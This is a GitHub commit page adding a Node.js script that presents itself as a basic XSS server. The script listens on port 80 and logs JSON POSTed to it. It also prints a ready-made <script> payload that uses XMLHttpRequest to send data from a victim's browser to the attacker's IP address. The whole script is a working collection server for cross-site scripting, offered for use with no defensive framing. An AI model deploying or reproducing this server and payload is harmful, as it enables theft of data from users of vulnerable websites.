Skip to content

Commit 4de4ae8

Browse files
authored
Version 1.0
Next version features: - Adding the possibility to save the logs into a file
1 parent 769f3d4 commit 4de4ae8

File tree

6 files changed

+1026
-0
lines changed

6 files changed

+1026
-0
lines changed

app.js

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
console.log(""+
2+
" *====================================*\n"+
3+
" | Author: Kya |\n"+
4+
" | Version: 1.0 |\n"+
5+
" | Name: Basic XSS NodeJS server |\n"+
6+
" *====================================*");
7+
8+
var http = require('http');
9+
var ip = require('ip');
10+
var server = http.createServer(function (request, response) {
11+
if (request.method == 'POST') {
12+
var body = '';
13+
request.on('data', function (data) {
14+
body += data;
15+
});
16+
request.on('end', function () {
17+
18+
var POST = JSON.parse(body);
19+
console.log(POST);
20+
21+
});
22+
}
23+
});
24+
server.listen(80);
25+
26+
console.log("\x1b[5m\x1b[32m%s\x1b[0m","\n=== Server ready! === ");
27+
console.log("\x1b[4m%s\x1b[0m","\nTemplate XSS:");
28+
console.log("\x1b[35m%s\x1b[0m","<script>var xhr= new XMLHttpRequest();message=JSON.stringify('message');xhr.open('POST','http://"+ip.address()+"',true);xhr.send(message);</script>\n\nNow waiting for data...");
29+
30+
console.log("\x1b[4m%s\x1b[0m","Data received:\n");

node_modules/ip/README.md

Lines changed: 90 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)